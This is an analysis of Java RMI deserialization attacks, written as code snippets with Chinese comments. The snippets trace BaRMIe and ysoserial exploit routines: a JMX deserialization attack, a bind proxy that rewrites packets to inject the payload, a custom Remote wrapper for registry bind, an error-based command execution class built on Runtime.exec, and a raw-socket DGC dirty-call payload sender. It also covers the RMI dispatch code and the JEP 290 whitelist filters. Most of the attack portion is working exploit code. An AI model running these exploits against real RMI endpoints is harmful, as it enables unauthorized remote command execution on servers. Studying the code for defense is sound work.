String url = "rmi://127.0.0.1:1099/User";
User userClient = (User)Naming.lookup(url);
userClient.say("world");
userClient.dowork(getpayload());
//dowaok接受一个Object函数，这时候我们传入恶意object会在对方服务器readobject反序列化

//nb.barmie.modes.attack.attacks.Axiom.ListFiles#executeAttack
public void executeAttack(RMIEndpoint ep) throws BaRMIeException {
        //一些参数设定    

        //用户输入一个想要列出的文件目录
        path = this.promptUserForInput("Enter a path to list files from: ", false);
        System.out.println("");

        //向eq（RMI服务端）lookup一个FileBrowserStub对象
        //同时本地也写好了FileBrowserStub接口
        System.out.println("[~] Getting fileBrowser object...");
        fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser");

        //调用listFilesOnServer方法获取调用结果
        files = fbs.listFilesOnServer(path);

    }

/***********************************************************
 * FileBrowserStub for AxiomSL attacks.
 **********************************************************/
public abstract interface FileBrowserStub extends Remote {
    public abstract FileInformation[] listFilesOnServer(String paramString) throws RemoteException;
    public abstract byte[] readFile(String paramString, long paramLong, int paramInt) throws IOException;
    public abstract void writeFile(String paramString, byte[] paramArrayOfByte) throws IOException;
    public abstract boolean deleteFile(String paramString, boolean paramBoolean) throws RemoteException;
    public abstract FileInformation getFileInformation(String paramString) throws RemoteException;
}

//nb.barmie.modes.attack.attacks.Java.JMXDeser#executeAttack    
public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
        RMIServer obj;
        //eq是RMI服务
        //payload是选取的payload种类
        //cmd是我们要在目标执行的命令
        //开始攻击
        try {
            //建立代理rmi服务，等会我们去看看内部做了什么
            System.out.println("\n[~] Getting proxied jmxrmi object...");
            obj = (RMIServer)this.getProxiedObject(ep, "jmxrmi", payload.getBytes(cmd, 0));

            //调用newClient()方法,传入一个固定默认的object
            System.out.println("[+] Retrieved, invoking newClient(PAYLOAD)...");
            obj.newClient(this.DEFAULT_MARKER_OBJECT);
        } catch(Exception ex) {
            //Check the exception for useful info
            this.checkDeserException(ex);
        }
    }

protected final Object getProxiedObject(RMIEndpoint ep, String name, byte[] payload) throws BaRMIeException {
    //需要注意此处的this.DEFAULT_MARKER_OBJECT_BYTES
    //与obj.newClient(this.DEFAULT_MARKER_OBJECT)中的内容一致，等同于一个占位符的感觉
    //这边是从ep（rmi服务端）端中获取了名字为name的对象，做代理
    //同时在代理之后所有的通讯的同时，会将this.DEFAULT_MARKER_OBJECT_BYTES替换为payload
    //从而实现不同的payload的动态注入
    return this.getProxiedObject(ep, name, payload, this.DEFAULT_MARKER_OBJECT_BYTES);
}

public void dispatch(Remote var1, RemoteCall var2) throws IOException {
    try {
        long var4;
        ObjectInput var40;
        //---------第一个try--------
        try {
            var40 = var2.getInputStream();
            int var3 = var40.readInt();
            if (var3 >= 0) {
                //在正式接受参数前解析前，会进入几次这个if函数，虽然不知道干了啥，估计是一些固定通讯
                //但是在接受参数，进行解析执行参数的dispatch，不会进入这个if
                //所以第一个try这里其实没做什么，就在下main读取了一个Method hash
                if (this.skel != null) {
                    this.oldDispatch(var1, var2, var3);
                    return;
                }

                throw new UnmarshalException("skeleton class not found but required for client version");
            }
           //var4是从客户端传输过来的序列化数据中读取客户端调用的Method hash
            var4 = var40.readLong();
        } catch (Exception var36) {
            throw new UnmarshalException("error unmarshalling call header", var36);
        }
       //--------第一个try结束---------
        MarshalInputStream var39 = (MarshalInputStream)var40;
        var39.skipDefaultResolveClass();
        //通过客户端提供的var4去验证客户端想要调用的方法，在这里有没有
        Method var8 = (Method)this.hashToMethod_Map.get(var4);
        //如果没有就报错你想调用的方法在这里不存在。
        if (var8 == null) {
            throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
        }

this.logCall(var1, var8);
//var8 是在hashToMethod_Map中用客户端传输过来的method hash查询到的RMI服务端实现的Method类型
//获取Method中的入参
Class[] var9 = var8.getParameterTypes();
//获取入参个数，等会拿来存储反序列化结果
Object[] var10 = new Object[var9.length];

try {
    //这边是JDK提供给开发者自定义的解析部分，默认是一个空函数
    this.unmarshalCustomCallData(var40);
    //遍历入参类型
    for(int var11 = 0; var11 < var9.length; ++var11) {
        //**关键函数**：unmarshaValue(入参类型，传输数据包)
        //这里开始根据 入参类型（var9[var11]） 反序列化 传输过来的序列化入参，然后反序列化结果给var10
        var10[var11] = unmarshalValue(var9[var11], var40);
    }
} catch (IOException var33) {
    throw new UnmarshalException("error unmarshalling arguments", var33);
} catch (ClassNotFoundException var34) {
    throw new UnmarshalException("error unmarshalling arguments", var34);
} finally {
    var2.releaseInputStream();
}

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
    //var0 是服务端Method设定的入参参数类型
    //var1 是传输从客户端来的的序列化数据流
    //var0.isPrimitive 判断是否是默认基础类型
    //需要注意基础类型!=下面这些TYPE，我们在之后解释这个坑
    if (var0.isPrimitive()) {
        if (var0 == Integer.TYPE) {
            return var1.readInt();
        } else if (var0 == Boolean.TYPE) {
            return var1.readBoolean();
        } else if (var0 == Byte.TYPE) {
            return var1.readByte();
        } else if (var0 == Character.TYPE) {
            return var1.readChar();
        } else if (var0 == Short.TYPE) {
            return var1.readShort();
        } else if (var0 == Long.TYPE) {
            return var1.readLong();
        } else if (var0 == Float.TYPE) {
            return var1.readFloat();
        } else if (var0 == Double.TYPE) {
            return var1.readDouble();
        } else {
            throw new Error("Unrecognized primitive type: " + var0);
        }
    } else {
        //将从客户端传输过来的序列化数据流进行readObject
        //**反序列化执行处**
        return var1.readObject();
    }
}

if (var0.isPrimitive()) {
    if (var0 == Integer.TYPE) {//这里
        return var1.readInt();
        //...

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        //一处接口hash验证
        if (var4 != 4905912898345647071L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
        //设定变量开始处理请求
            //var6为RegistryImpl对象，调用的就是这个对象的bind、list等方法
            RegistryImpl var6 = (RegistryImpl)var1;
            //接受客户端输入流的参数变量
            String var7;
            Remote var8;
            ObjectInput var10;
            ObjectInput var11;
            //var3表示对应的方法值0-4，这个数字是跟RMI客户端约定好的
            //比如RMI客户端发送bind请求：就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
            //super.ref.newCall(this, operations, 0, 4905912898345647071L);
            switch(var3) {
            //统一删除了try等语句
            case 0:
                    //bind(String,Remote)分支
                    var11 = var2.getInputStream();
                    //1.反序列化触发处
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                    var6.bind(var7, var8);
            case 1:
                    //list()分支
                    var2.releaseInputStream();
                    String[] var97 = var6.list();
                    ObjectOutput var98 = var2.getResultStream(true);
                    var98.writeObject(var97);

            case 2:
                  //lookup(String)分支
                    var10 = var2.getInputStream();
                    //2.反序列化触发处
                    var7 = (String)var10.readObject();
                    var8 = var6.lookup(var7);

            case 3:
                  //rebind(String,Remote)分支
                    var11 = var2.getInputStream();
                    //3.反序列化触发处
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                    var6.rebind(var7, var8);

            case 4:
                    //unbind(String)分支
                    var10 = var2.getInputStream();
                    //4.反序列化触发处
                    var7 = (String)var10.readObject();
                    var6.unbind(var7);
            default:
                throw new UnmarshalException("invalid method number");
            }

        }
    }

public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
    RMIBindExploitProxy proxy = null;//代理器
    Registry reg;
    //已删去try部分
    //1.初始化一个bind RMI注册端代理器
    //我们的payload从这里给入
    proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
    proxy.startProxy();

    //2.从RMI注册端代理器获取一个注册端对象
    reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());

    //3.通过RMI注册端代理器调用bind，修改参数为给定的payload
    //reg.bind(随机字符串,一个接口需要的Remote接口)
    //但是经过注册端代理器之后，这里的参数会被改为：bind(PAYLOAD, null)，没错payload是String的位置
    reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
}

private static class BaRMIeBindExploit implements Remote, Serializable {
}

public ByteArrayOutputStream handleData(ByteArrayOutputStream data) {
        ByteArrayOutputStream out;
        int blockLen;
        byte[] dataBytes;
        //获取输入的长度
        dataBytes = data.toByteArray();
        //判断这个输入包是不是一个RMI调用包，如果是的话进行修改
        if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) {
            //调用包以 TC_BLOCKDATA 标签开头,获取它的标签长度
            blockLen = (int)(dataBytes[6] & 0xff);

            //自己构建一个新的字节流，以原来包的长度和TC_BLOCKDATA标签开头
            out = new ByteArrayOutputStream();
            out.write(dataBytes, 0, blockLen + 7);

            //在后面写入我们给定的payload
            out.write(this._payload, 0, this._payload.length);

            //最后给一个NULL标签（作为bind方法的第二个参数）
            out.write((byte)0x70);

            //把新的数据包发送给服务端
            return out;
        } else {
            //不是RMI调用的数据包就直接发送
            return data;
        }
    }

public static void exploit(final Registry registry,
            final Class<? extends ObjectPayload> payloadClass,
            final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
            //获取payload
            ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
            String name = "pwned" + System.nanoTime();
            //将payload封装成Map
            //然后通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
            //变为Remote类型
            Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
            try {
                //封装的remote类型，通过RMI客户端的正常接口发出去
                registry.bind(name, remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }
            Utils.releasePayload(payloadObj, payload);
            return null;
        }});
    }
}

public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
    //Map是我们传入的，需要填充进入AnnotationInvocationHandler构造方法中的对象。
    //iface是被动态代理的接口
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

//这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
//传入了我们含有payload的map，进入构造方法，会在构造方法内进行赋值给对象的变量
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
    return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

//正式开始绑定代理动态代理
//ih 拦截器
//iface 需要被代理的类
//ifaces 这里没有
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
    final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
    allIfaces[ 0 ] = iface;
    if ( ifaces.length > 0 ) {
        System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
    }
    //上面整合了一下需要代理的接口到allIfaces里面
    //然后Proxy.newProxyInstance，完成allIfaces到ih的绑定
    //（Gadgets.class.getClassLoader()就是获取了一个加载器，不用太管）
    //iface.cast是将获取的绑定结果对象转变为iface（即Remote）的对象类型
    return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

public void bind(String name, Remote obj)
        throws RemoteException, AlreadyBoundException, AccessException;

//加个Remote接口的类，要支持序列化
private static class BindExploit implements Remote, Serializable {
    //弄个地方放payload
    private final Object memberValues;

    private BindExploit(Object payload) {
        memberValues = payload;
    }
}
    public static void exploit(final Registry registry,
            final Class<? extends ObjectPayload> payloadClass,
            final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
            ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
            String name = "pwned" + System.nanoTime();
            //yso动态代理包装
            //Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
            //自己包装
            Remote remote_lala = new BindExploit(payload);

            try {
                //registry.bind(name, remote);
                //自己包装
                 registry.bind(name, remote_lala);
            } catch (Throwable e) {
                e.printStackTrace();
            }
            Utils.releasePayload(payloadObj, payload);
            return null;
        }});
    }

public class ErrorBaseExec {
    public ErrorBaseExec() {
    }
    //解析
    public static String readBytes(InputStream var0) throws IOException {
        BufferedReader var1 = new BufferedReader(new InputStreamReader(var0));
        StringBuffer var2 = new StringBuffer();

        String var3;
        while((var3 = var1.readLine()) != null) {
            var2.append(var3).append("\n");
        }

        String var4 = var2.toString();
        return var4;
    }

    public static void do_exec(String var0) throws Exception {
        try {
            //执行命令
            Process var1 = Runtime.getRuntime().exec(var0);
            //解析执行结果
            String var2 = readBytes(var1.getInputStream());
            //抛出异常到客户端
            throw new Exception("8888:" + var2);
        } catch (Exception var3) {
            if (var3.toString().indexOf("8888") > -1) {
                throw var3;
            } else {
                throw new Exception("8888:" + new String(var3.toString()) + "\r\n");
            }
        }
    }

    public static void main(String[] var0) throws Exception {
        do_exec("cmd /c dir");
    }
}

private static Status registryFilter(FilterInfo var0) {
    //这里registryFilter为空跳过该判断
    if (registryFilter != null) {
        Status var1 = registryFilter.checkInput(var0);
        if (var1 != Status.UNDECIDED) {
            return var1;
        }
    }
    //不允许输入流的递归层数超过20层，超过就报错
    if (var0.depth() > 20L) {
        return Status.REJECTED;
    } else {
        //获取输入流序列化class类型到var2
        Class var2 = var0.serialClass();
        //判断是否为null，null就报错
        if (var2 == null) {
            return Status.UNDECIDED;
        } else {
            //判断是否为数组类型
            if (var2.isArray()) {
                //数组长度大于10000就报错
                if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {
                    return Status.REJECTED;
                }
                //获取到数组中的成分类，假如是还是数组嵌套，继续获取
                do {
                    var2 = var2.getComponentType();
                } while(var2.isArray());
            }
            //判断是不是JAVA基元类型，就是 绕过Object类型参数 小章中的那些基本类
            //是基本类就允许
            if (var2.isPrimitive()) {
                return Status.ALLOWED;
            } else {
                //判断我们的输入的序列化类型是否为以下的几类class白名单之中
                //如果我们输入的类属于下面这些白名单的类或超类，就返回ALLOWED
                //不然就返回REJECTED报错。
                return String.class != var2 && 
                    !Number.class.isAssignableFrom(var2) && 
                    !Remote.class.isAssignableFrom(var2) && 
                    !Proxy.class.isAssignableFrom(var2) && 
                    !UnicastRef.class.isAssignableFrom(var2) && 
                    !RMIClientSocketFactory.class.isAssignableFrom(var2) && 
                    !RMIServerSocketFactory.class.isAssignableFrom(var2) && 
                    !ActivationID.class.isAssignableFrom(var2) && 
                    !UID.class.isAssignableFrom(var2) ? 
                    Status.REJECTED : Status.ALLOWED;
            }
        }
    }
    }

public void bind(String name, Remote obj)
    throws RemoteException, AlreadyBoundException, AccessException
{
    //此处验证
    checkAccess("Registry.bind");
    synchronized (bindings) {
        Remote curr = bindings.get(name);
        if (curr != null)
            throw new AlreadyBoundException(name);
        bindings.put(name, obj);
    }
}

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
    //一样是一个dispatch用于分发作用的方法
    //固定接口hash校验
    if (var4 != -669196253586618813L) {
        throw new SkeletonMismatchException("interface hash mismatch");
    } else {
        DGCImpl var6 = (DGCImpl)var1;
        ObjID[] var7;
        long var8;
        //判断dirty和clean分支流
        switch(var3) {
            //clean分支流
            case 0:
                VMID var39;
                boolean var40;
                try {
                    //从客户端提供的输入流取值
                    ObjectInput var14 = var2.getInputStream();
                    //对于取值进行反序列化，***漏洞触发点***
                    var7 = (ObjID[])var14.readObject();
                    var8 = var14.readLong();
                    var39 = (VMID)var14.readObject();
                    var40 = var14.readBoolean();
                } catch (IOException var36) {
                    throw new UnmarshalException("error unmarshalling arguments", var36);
                } catch (ClassNotFoundException var37) {
                    throw new UnmarshalException("error unmarshalling arguments", var37);
                } finally {
                    var2.releaseInputStream();
                }
              //进行clean操作，已经完成了攻击，之后操作已经不重要了。
                var6.clean(var7, var8, var39, var40);

                //..省略部分无关操作
            //dirty方法分支流，跟clean在漏洞触发点上是一样没差的
            case 1:
                Lease var10;
                try {
                    //从客户端提供的输入流取值
                    ObjectInput var13 = var2.getInputStream();
                    //对于取值进行反序列化，***漏洞触发点***
                    var7 = (ObjID[])var13.readObject();
                    var8 = var13.readLong();
                    var10 = (Lease)var13.readObject();
                } catch (IOException var32) {
                    throw new UnmarshalException("error unmarshalling arguments", var32);
                } catch (ClassNotFoundException var33) {
                    throw new UnmarshalException("error unmarshalling arguments", var33);
                } finally {
                    var2.releaseInputStream();
                }

                Lease var11 = var6.dirty(var7, var8, var10);

               //..省略无关操作
            default:
                throw new UnmarshalException("invalid method number");
        }
    }

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
        try {
            //开启了一个连接，似曾相识的 669196253586618813L 在服务端也有
            RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

            try {
                //获取连接的输入流
                ObjectOutput var6 = var5.getOutputStream();
                //写入一个对象，在实现的本意中，这里是一个ID的对象列表ObjID[]
                //***这里就是我们payload写入的地方***
                var6.writeObject(var1);
                //------
                var6.writeLong(var2);
                var6.writeObject(var4);
            } catch (IOException var20) {
                throw new MarshalException("error marshalling arguments", var20);
            }

            super.ref.invoke(var5);

            Lease var24;
            try {
                ObjectInput var9 = var5.getInputStream();
                var24 = (Lease)var9.readObject();
            //省略大量错误处理..
    }

//传入目标RMI注册端（也是DGC服务端）的IP端口，以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
        InetSocketAddress isa = new InetSocketAddress(hostname, port);
        Socket s = null;
        DataOutputStream dos = null;
        try {
            //建立一个socket通道，并为赋值
            s = SocketFactory.getDefault().createSocket(hostname, port);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);
           //读取socket通道的数据流
            OutputStream os = s.getOutputStream();
            dos = new DataOutputStream(os);
           //*******开始拼接数据流*********
            //以下均为特定协议格式常量，之后会说到这些数据是怎么来的
            //传输魔术字符：0x4a524d49（代表协议）
            dos.writeInt(TransportConstants.Magic);
            //传输协议版本号：2（就是版本号）
            dos.writeShort(TransportConstants.Version);
            //传输协议类型: 0x4c (协议的种类，好像是单向传输数据，不需要TCP的ACK确认)
            dos.writeByte(TransportConstants.SingleOpProtocol);
           //传输指令-RMI call：0x50 
            dos.write(TransportConstants.Call);

            @SuppressWarnings ( "resource" )
            final ObjectOutputStream objOut = new MarshalOutputStream(dos);
           //DGC的固定读取格式，等会具体分析
            objOut.writeLong(2); // DGC
            objOut.writeInt(0);
            objOut.writeLong(0);
            objOut.writeShort(0);
           //选取DGC服务端的分支选dirty
            objOut.writeInt(1); // dirty
            //然后一个固定的hash值
            objOut.writeLong(-669196253586618813L);
            //我们的反序列化触发点
            objOut.writeObject(payloadObject);

            os.flush();
        }
    }

try {
     id = ObjID.read(call.getInputStream());
 } catch (java.io.IOException e) {
     throw new MarshalException("unable to read objID", e);
 }

/* get the remote object */
//该dgcID是一个常量，此处进行了验证
Transport transport = id.equals(dgcID) ? null : this;
//根据读取出来的id里面的[0，0，0]（三个都是我们序列化写入的值）分别是：
//1.服务端uid给客户端的远程对象唯一标识编号
//2.远程对象有效时长用的时间戳
//3.用于同一时间申请的统一远程对象的另一个用于区分的随机数
//服务端去查询这三个值的hash，判断当前DGC客户端有没有服务端的远程对象
//就是dirty，clean那一套东西
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));

if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}

//dgcID位置sun.rmi.transport.Transport
/** ObjID for DGCImpl */
    private static final ObjID dgcID = new ObjID(ObjID.DGC_ID);
//ObjID.DGC_ID位置：java.rmi.server.ObjID
     public static final int DGC_ID = 2;

private static Status checkInput(FilterInfo var0) {
        //与`sun.rmi.registry.RegistryImpl#registryFilter`处过滤器完全一致
        if (dgcFilter != null) {
            Status var1 = dgcFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() > (long)DGC_MAX_DEPTH) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 == null) {
                return Status.UNDECIDED;
            } else {
                while(var2.isArray()) {
                    if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {
                        return Status.REJECTED;
                    }

                    var2 = var2.getComponentType();
                }

                if (var2.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    //4种白名单限制
                    return var2 != ObjID.class &&
                        var2 != UID.class &&
                        var2 != VMID.class &&
                        var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
                }
            }
        }
    }